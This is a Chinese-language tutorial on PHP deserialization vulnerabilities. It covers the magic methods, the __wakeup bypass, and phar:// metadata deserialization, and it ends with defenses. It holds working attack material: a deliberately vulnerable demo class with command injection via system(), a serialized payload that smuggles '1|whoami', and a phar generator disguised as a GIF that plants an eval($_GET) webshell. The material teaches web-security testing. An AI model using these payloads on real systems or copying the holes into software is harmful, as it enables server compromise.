1、序列化與反序列化概述
什麼是序列化與反序列化?

- 序列化(serialize):将對象轉換為字元串
- 反序列化(unserialize):将字元串轉換為對象
序列化機制出現的意義
php程式為了儲存和轉儲對象,提供了序列化的方法,php序列化是為了在程式運作的過程中對對象進行轉儲而産生的。序列化可以将對象轉換成字元串,但僅保留對象裡的成員變量,不保留函數方法。
簡單例子
<?php
class Students{
public $name,$age;
public function __construct($name,$age){
$this->name=$name;
$this->age=$age;
}
}
$student1=new Students("zhansan",18);
$str=serialize($student1);
echo "序列化:\n".$str."\n";
$obj=unserialize($str);
echo "反序列化:\n";
print_r($obj);
?>
執行結果:
PHP序列化字元串釋義(注意:此時類的屬性為public):
- O:Object
- 8:對象所屬類名長度
- Students:對象所屬類名
- 2:類中的兩個屬性
- s:string
- 4:屬性名長度
- name:屬性名
- i:int
反序列化漏洞的産生原因:
在PHP代碼中使用
unserialize
函數反序列化某一個對象;該對象被調用時自動執行自定義的魔法方法;如果這些魔法方法中有危險的操作或者在魔法方法中去調用類中其他帶有危險操作的函數且如果危險操作是我們可控的,那麼就可能會觸發php反序列化漏洞。
2、PHP魔法函數
-
:當對象被建立時會自動調用__construct()
<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; echo "used construct!"; } } $person1=new Person('zhangsan','18'); // 輸出 used construct! ?>
-
:當對象被銷毀時會自動調用__destruct()
<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __destruct() { echo "used destruct!"; } } $person1=new Person('zhangsan','18'); // 輸出 used destruct! ?>
-
:當執行serialize()時,先會調用這個函數__sleep()
<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __sleep() { echo "used sleep!"; } } $person1=new Person('zhangsan','18'); $str=serialize($person1); // 輸出 used sleep! ?>
-
:當執行unserialize()時,先會調用這個函數__wakeup()
<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __wakeup() { echo "used wakeup!"; } } $person1=new Person('zhangsan','18'); $str=serialize($person1); $obj=unserialize($str); // 輸出 used wakeup! ?>
__wakeup()
方法繞過
當反序列化字元串,表示屬性個數的值大于真實屬性個數時,會跳過
函數的執行。__wakeup
其中Person後面的2,代表類中有2個屬性,但如果我們把2改成3,就會繞過O:6:"Person":2:{s:4:"name";s:8:"zhangsan";s:3:"age";s:2:"18";}
函數。__wakeup()
O:6:"Person":3:{s:4:"name";s:8:"zhangsan";s:3:"age";s:2:"18";}
-
:當反序列化後的對象被轉換成字元串處理時自動調用__toString()
<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __toString() { return "used toString!"; } } $person1=new Person('zhangsan','18'); $str=serialize($person1); $obj=unserialize($str); echo $obj; // 輸出 used toString! ?>
-
:當從不可通路的屬性(private或沒有的屬性)中讀取資料時自動調用__get()
<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } public function __get($name) { echo "used get!"; } } $person1=new Person('zhangsan','18','female'); echo $person1->sex // 輸出 used get! ?>
-
:當給不可通路的屬性指派時自動調用__set()
<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } public function __set($naem,$age) { echo "used set!"; } } $person1=new Person('zhangsan','18','female'); $person1->sex='male'; // 輸出 used set! ?>
-
:在對象中調用不可通路的方法時觸發__call()
<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } private function sercret(){ return "null"; } public function __call($naem,$age) { echo "used call!"; } } $person1=new Person('zhangsan','18','female'); $person1->sercret(); // 輸出 used call! ?>
-
:當嘗試以調用函數的方式調用一個對象時自動觸發(PHP 5.3以上)__invoke()
<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } public function __invoke() { echo "used invoke!"; } } $person1=new Person('zhangsan','18','female'); $person1(); // 輸出 used invoke! ?>
ps 其中
__toString
魔法方法觸發條件比較多∶
- echo($obj) 列印時觸發
- 反序列化對象與字元串連接配接時
- 反序列化對象參與格式化字元串時
- 反序列化對象與字元串進行 == 比較時(PHP進行==比較時會轉換參數類型)
- 反序列化對象參與格式化sql語句,綁定參數時
- 反序列化對象在經過php字元串函數,如strlen()、addslashes()時
-
在in array()方法中,第一個參數是反序列化對象,第二個參數的數組中有toString傳回
的字元串時toString會被調用
- 反序列化對象作為class_exists()的參數時
3、反序列化漏洞執行個體
利用漏洞思路:
(1)一般反序列化漏洞都是通過代碼審計而發現,一般的黑盒測試是很難發現的。
(2)假如我們通過代碼審計發現了漏洞,我們要測試這個漏洞,那麼我可以根據站點背景的邏輯進行payload的生成。
(3)我們将生成的payload(一串序列化的字元串)通過前台接口發送至背景,背景在建立、銷毀對象的時候會執行魔法函數,完成預期攻擊。
執行個體
demo.php
<?php
class home{
private $method;
private $args;
function __construct($method,$args)
{
$this->method=$method;
$this->args=$args;
}
/*
* 在對象被銷毀時,會自動調用__destruct()方法
* 此方法中會執行回調函數,即ping方法
* 可以在執行個體化對象時将method設為ping,嘗試指令執行
*/
function __destruct(){
// in_array() 函數搜尋數組中是否存在指定的值,這裡method如果是ping,則傳回true
if (in_array($this->method,array("ping"))){
// 調用回調函數,并把一個數組參數作為回調函數的參數
call_user_func_array(array($this,$this->method),$this->args);
}
}
/*
* ping方法使用了system執行系統指令,為可利用點
*/
function ping($host){
echo system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
$this->waf($this->args);
}
}
$a=@$_POST['a'];
@unserialize($a);
?>
生成payload
<?php
class home{
private $method;
private $args;
function __construct($method,$args)
{
$this->method=$method;
$this->args=$args;
}
}
$test=new home('ping',array('1|whoami'));
echo serialize($test);
// O:4:"home":2:{s:12:"homemethod";s:4:"ping";s:10:"homeargs";a:1:{i:0;s:8:"1|whoami";}}
?>
payload
a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:8:"1|whoami";}}
類中屬性為private時,表示方式是在屬性名前加上 %00類名%00
類中屬性為protected時,表示方式是在屬性名前加上 %00*%00
送出payload,成功利用!
4、利用phar://的反序列化
簡單來說就是
phar
壓縮文檔。它可以把多個檔案歸檔到同一個檔案中,而且不經過解壓就能被 php 通路并執行,與
php
file://
等類似,也是一種流包裝器。
php://
Black Hat上,安全研究員
Sam Thomas
分享了議題
It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar檔案會以序列化的形式存儲使用者自定義的meta-data這一特性,拓展了php反序列化漏洞的攻擊面。該方法在檔案系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://僞協定,可以不依賴unserialize()直接進行反序列化操作。
摘自:利用 phar 拓展 php 反序列化漏洞攻擊面
phar檔案結構
-
phar 檔案辨別,格式為stub
xxx<?php xxx; __HALT_COMPILER();?>;
-
壓縮檔案的屬性等資訊,以序列化存儲;manifest
-
壓縮檔案的内容;contents
-
簽名,放在檔案末尾;signature
建立phar檔案
注意:要将php.ini中的
phar.readonly
選項設定為
Off
,否則無法生成phar檔案。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //字尾名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
$o = new TestObject();
$phar->setMetadata($o); //将自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>
執行後生成一個
phar.phar
,自定義的meta-data以序列化的形式存儲
php一大部分的檔案系統函數在通過
phar://
僞協定解析phar檔案時,都會将meta-data進行反序列化,測試如下:
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
demo
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class heello{
var $output='echo "heello!";';
function __destruct()
{
eval($this->output);
}
}
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
?>
這裡雖然沒有
unserialize()
執行反序列化,但可以結合
file_exists()
函數在通過
phar://
僞協定解析phar檔案時,會将meta-data進行反序列化,進而觸發
__destruct()
函數,利用
eval()
函數達到指令執行。
ps:可将phar僞造成其他格式的檔案(添加任意的檔案頭+修改字尾名),繞過檔案上傳檢測,上傳“phar檔案”到伺服器進行利用。
使用如下代碼生成phar檔案:
<?php
class heello {
var $output='@eval($_GET[1]);';
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //字尾名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub
$o = new heello();
$phar->setMetadata($o); //将自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>
将
test.phar
改為
test.gif
并上傳,通路
?filename=phar://test.gif/test.txt&1=phpinfo();
5、防禦
-
認證和簽名
通過認證,來避免應用接受黑客的異常輸入。對于點對點的服務,我們可以通過加入簽名的方式來進行防護。比如,對存儲的資料進行簽名,以此對調用來源進行身份校驗。隻要黑客擷取不到密鑰資訊,它就無法向進行反序列化的服務接口發送資料,也就無從發起反序列化攻擊了。
-
限制序列化和反序列化的類
可以通過建構黑名單的方式,來檢測反序列化過程中調用鍊的異常。
-
RASP檢測
業内推出了 RASP(Runtime Application Self-Protection,實時程式自我保護)。RASP 通過 hook 等方式,在這些關鍵函數的調用中,增加一道規則的檢測。這個規則會判斷應用是否執行了非應用本身的邏輯,能夠在不修改代碼的情況下對反序列化漏洞攻擊實作攔截。
6、參考資料
[1] 利用 phar 拓展 php 反序列化漏洞攻擊面
[2] PHP反序列化入門之phar
[3] 通過反序列化漏洞,黑客能做什麼呢?